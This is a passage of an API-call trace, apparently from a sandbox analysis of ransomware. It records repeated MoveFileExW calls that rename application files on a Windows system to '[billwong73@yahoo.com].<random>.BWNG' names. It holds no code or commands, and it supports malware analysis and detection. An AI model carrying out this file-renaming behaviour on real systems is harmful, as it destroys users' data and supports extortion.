Firefox\\precomplete" (normalized: "c:\\program files (x86)\\mozilla firefox\\precomplete"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\[billwong73@yahoo.com].EKDbedsX-PYHpXd6E.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\[billwong73@yahoo.com].ekdbedsx-pyhpxd6e.bwng"), dwFlags=0x1) returned 1 [0114.241] GetTickCount () returned 0x1164338 [0114.241] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25619286851) returned 1 [0114.241] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\ReadOutLoud.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\readoutloud.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\[billwong73@yahoo.com].TqjM1551-U214jOxC.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\[billwong73@yahoo.com].tqjm1551-u214joxc.bwng"), dwFlags=0x1) returned 1 [0114.364] GetTickCount () returned 0x11643a5 [0114.364] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25631584587) returned 1 [0114.364] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\heb.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\heb.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].rc1k36xM-k38B6hFB.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].rc1k36xm-k38b6hfb.bwng"), dwFlags=0x1) returned 1 [0114.366] GetTickCount () returned 0x11643b5 [0114.366] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25631881711) returned 1 [0114.367] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunjce_provider.jar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\[billwong73@yahoo.com].i7JAbyEm-GezNeR6k.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\[billwong73@yahoo.com].i7jabyem-gezner6k.bwng"), dwFlags=0x1) returned 1 [0114.368] GetTickCount () returned 0x11643b5 [0114.368] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25632024224) returned 1 [0114.368] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1254.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\[billwong73@yahoo.com].88jCWrAg-DAdbqFqo.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\[billwong73@yahoo.com].88jcwrag-dadbqfqo.bwng"), dwFlags=0x1) returned 1 [0114.369] GetTickCount () returned 0x11643b5 [0114.369] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25632167181) returned 1 [0114.370] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Makassar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\makassar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].ArAVcMok-FvIhknwE.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].aravcmok-fvihknwe.bwng"), dwFlags=0x1) returned 1 [0114.371] GetTickCount () returned 0x11643b5 [0114.371] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25632307552) returned 1 [0114.371] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Pyongyang" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\pyongyang"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].2Zjshsny-tVcLP3ll.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].2zjshsny-tvclp3ll.bwng"), dwFlags=0x1) returned 1 [0114.524] GetTickCount () returned 0x1164451 [0114.524] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25647669806) returned 1 [0114.525] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky\\Louisville" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\kentucky\\louisville"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky\\[billwong73@yahoo.com].H5FS43Dy-hiQFyVFE.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\kentucky\\[billwong73@yahoo.com].h5fs43dy-hiqfyvfe.bwng"), dwFlags=0x1) returned 1 [0114.632] GetTickCount () returned 0x11644be [0114.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25658394139) returned 1 [0114.632] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidabrightregular.ttf"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\[billwong73@yahoo.com].x4hagN36-lozKJiHh.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\[billwong73@yahoo.com].x4hagn36-lozkjihh.bwng"), dwFlags=0x1) returned 1 [0114.634] GetTickCount () returned 0x11644be [0114.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25658670061) returned 1 [0114.635] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\[billwong73@yahoo.com].8ZQjF5iv-r2OeNOP2.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\[billwong73@yahoo.com].8zqjf5iv-r2oenop2.bwng"), dwFlags=0x1) returned 1 [0114.636] GetTickCount () returned 0x11644be [0114.636] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25658832449) returned 1 [0114.636] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\drive.crx" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\drive.crx"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\[billwong73@yahoo.com].YE8smZO9-2hioo8Hp.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\[billwong73@yahoo.com].ye8smzo9-2hioo8hp.bwng"), dwFlags=0x1) returned 1 [0114.638] GetTickCount () returned 0x11644be [0114.638] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25659059250) returned 1 [0114.639] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\pt-BR.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\pt-br.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].97357qUJ-uGbtjHk0.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].97357quj-ugbtjhk0.bwng"), dwFlags=0x1) returned 1 [0114.640] GetTickCount () returned 0x11644be [0114.640] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25659214228) returned 1 [0114.640] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\hun32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\hun32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].JiASIwyL-KZGiFFJt.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].jiasiwyl-kzgiffjt.bwng"), dwFlags=0x1) returned 1 [0114.642] GetTickCount () returned 0x11644be [0114.642] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25659430659) returned 1 [0114.642] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Seoul" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\seoul"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].ll1QZHTr-KWuiCHsb.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].ll1qzhtr-kwuichsb.bwng"), dwFlags=0x1) returned 1 [0114.643] GetTickCount () returned 0x11644be [0114.643] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25659573309) returned 1 [0114.644] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt\\omni.ja"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\[billwong73@yahoo.com].zxkcbzmn-ZP3lrkb0.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt\\[billwong73@yahoo.com].zxkcbzmn-zp3lrkb0.bwng"), dwFlags=0x1) returned 1 [0114.646] GetTickCount () returned 0x11644ce [0114.646] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25659793318) returned 1 [0114.646] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\lit.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\lit.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].JRKtiY9a-js0vMEtg.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].jrktiy9a-js0vmetg.bwng"), dwFlags=0x1) returned 1 [0114.647] GetTickCount () returned 0x11644ce [0114.647] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25659943030) returned 1 [0114.647] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Accessibility.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\accessibility.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\[billwong73@yahoo.com].ZXTYXwWY-06GkWbDn.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\[billwong73@yahoo.com].zxtyxwwy-06gkwbdn.bwng"), dwFlags=0x1) returned 1 [0114.650] GetTickCount () returned 0x11644ce [0114.650] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25660181256) returned 1 [0114.650] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Mazatlan" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\mazatlan"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].7MAdoMYc-4jyzARzF.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].7madomyc-4jyzarzf.bwng"), dwFlags=0x1) returned 1 [0114.651] GetTickCount () returned 0x11644ce [0114.651] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25660321017) returned 1 [0114.651] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Montserrat" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\montserrat"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].8V0n3LfR-ZCHO8EcF.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].8v0n3lfr-zcho8ecf.bwng"), dwFlags=0x1) returned 1 [0114.652] GetTickCount () returned 0x11644ce [0114.652] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25660463393) returned 1 [0114.653] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Panama" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\panama"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].pBXWB7vD-xL8p9vex.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].pbxwb7vd-xl8p9vex.bwng"), dwFlags=0x1) returned 1 [0114.654] GetTickCount () returned 0x11644ce [0114.654] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25660605540) returned 1 [0114.654] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Recife" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\recife"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].OAeCwvhR-kZhtLWYq.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].oaecwvhr-kzhtlwyq.bwng"), dwFlags=0x1) returned 1 [0114.655] GetTickCount () returned 0x11644ce [0114.655] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25660740616) returned 1 [0114.655] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\nyn.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\nyn.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].z1sfBpeo-r0YEI5mD.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].z1sfbpeo-r0yei5md.bwng"), dwFlags=0x1) returned 1 [0114.657] GetTickCount () returned 0x11644ce [0114.657] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25660886921) returned 1 [0114.657] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Urumqi" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\urumqi"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].UUG8Vk7S-I6pwGw0h.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].uug8vk7s-i6pwgw0h.bwng"), dwFlags=0x1) returned 1 [0114.658] GetTickCount () returned 0x11644ce [0114.658] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25661017233) returned 1 [0114.658] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\Hx.hxn" (normalized: "c:\\programdata\\microsoft help\\hx.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].O9iC9OG5-QfK8wI0H.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].o9ic9og5-qfk8wi0h.bwng"), dwFlags=0x1) returned 1 [0114.659] GetTickCount () returned 0x11644ce [0114.660] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25661175531) returned 1 [0114.660] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\IA32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\ia32.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\[billwong73@yahoo.com].I58SRVrD-DDRDUekh.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\[billwong73@yahoo.com].i58srvrd-ddrduekh.bwng"), dwFlags=0x1) returned 1 [0114.661] GetTickCount () returned 0x11644dd [0114.661] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25661371877) returned 1 [0114.662] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Sitka" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\sitka"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].dx0hiasO-2HFZKbLt.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].dx0hiaso-2hfzkblt.bwng"), dwFlags=0x1) returned 1 [0114.663] GetTickCount () returned 0x11644dd [0114.663] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25661504357) returned 1 [0114.663] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_200_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_200_percent.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\[billwong73@yahoo.com].Jy2FOUYd-rl2Sd2dA.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\[billwong73@yahoo.com].jy2fouyd-rl2sd2da.bwng"), dwFlags=0x1) returned 1 [0114.664] GetTickCount () returned 0x11644dd [0114.664] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25661658237) returned 1 [0114.665] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Cape_Verde" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\cape_verde"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\[billwong73@yahoo.com].zZYCJKno-7K24Sk4F.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\[billwong73@yahoo.com].zzycjkno-7k24sk4f.bwng"), dwFlags=0x1) returned 1 [0114.666] GetTickCount () returned 0x11644dd [0114.666] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25661847875) returned 1 [0114.666] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].qMDVXgcP-OpvihB64.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].qmdvxgcp-opvihb64.bwng"), dwFlags=0x1) returned 1 [0114.668] GetTickCount () returned 0x11644dd [0114.668] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25661990831) returned 1 [0114.668] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].o9SM3CFX-iMO9DeTI.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].o9sm3cfx-imo9deti.bwng"), dwFlags=0x1) returned 1 [0114.669] GetTickCount () returned 0x11644dd [0114.669] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25662115184) returned 1 [0114.669] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\SendMail.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\sendmail.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\[billwong73@yahoo.com].xy7vQBSX-6KC2FlOd.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\[billwong73@yahoo.com].xy7vqbsx-6kc2flod.bwng"), dwFlags=0x1) returned 1 [0114.748] GetTickCount () returned 0x116452b [0114.748] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25670010541) returned 1 [0114.748] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\BRdlang32.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\brdlang32.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\[billwong73@yahoo.com].Y1GM5gzr-PmNm7C11.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\[billwong73@yahoo.com].y1gm5gzr-pmnm7c11.bwng"), dwFlags=0x1) returned 1 [0114.750] GetTickCount () returned 0x116452b [0114.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25670234637) returned 1 [0114.750] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\PPKLITE.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\ppklite.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\[billwong73@yahoo.com].AiAohkax-EXdyqKme.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\[billwong73@yahoo.com].aiaohkax-exdyqkme.bwng"), dwFlags=0x1) returned 1 [0114.752] GetTickCount () returned 0x116452b [0114.752] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25670397403) returned 1 [0114.752] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\updater.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\updater.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\[billwong73@yahoo.com].BkEskiMi-yrhUylkz.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\[billwong73@yahoo.com].bkeskimi-yrhuylkz.bwng"), dwFlags=0x1) returned 1 [0114.753] GetTickCount () returned 0x116452b [0114.753] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25670557606) returned 1 [0114.754] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\eBook.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\ebook.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\[billwong73@yahoo.com].d8itWyRM-1UqRSjoV.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\[billwong73@yahoo.com].d8itwyrm-1uqrsjov.bwng"), dwFlags=0x1) returned 1 [0114.756] GetTickCount () returned 0x116453b [0114.756] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25670916502) returned 1 [0114.757] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfxrt.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfxrt.jar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].oz7Fh5LP-RCJmdksH.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].oz7fh5lp-rcjmdksh.bwng"), dwFlags=0x1) returned 1 [0114.759] GetTickCount () returned 0x116453b [0114.759] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25671087568) returned 1 [0114.759] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\net.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\net.properties"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].GaR0d5wW-2iFgJTMd.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].gar0d5ww-2ifgjtmd.bwng"), dwFlags=0x1) returned 1 [0114.760] GetTickCount () returned 0x116453b [0114.760] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25671222008) returned 1 [0114.760] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\javafx.policy" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\javafx.policy"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\[billwong73@yahoo.com].hFA0z8gG-vN5zfuU6.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\[billwong73@yahoo.com].hfa0z8gg-vn5zfuu6.bwng"), dwFlags=0x1) returned 1 [0114.761] GetTickCount () returned 0x116453b [0114.761] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25671373887) returned 1 [0114.762] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Asmara" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\asmara"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].mZDmTt1R-y7cWSzQ3.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].mzdmtt1r-y7cwszq3.bwng"), dwFlags=0x1) returned 1 [0114.763] GetTickCount () returned 0x116453b [0114.763] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25671528723) returned 1 [0114.763] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Ceuta" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\ceuta"), lpNewFileName="C:\\Program Files 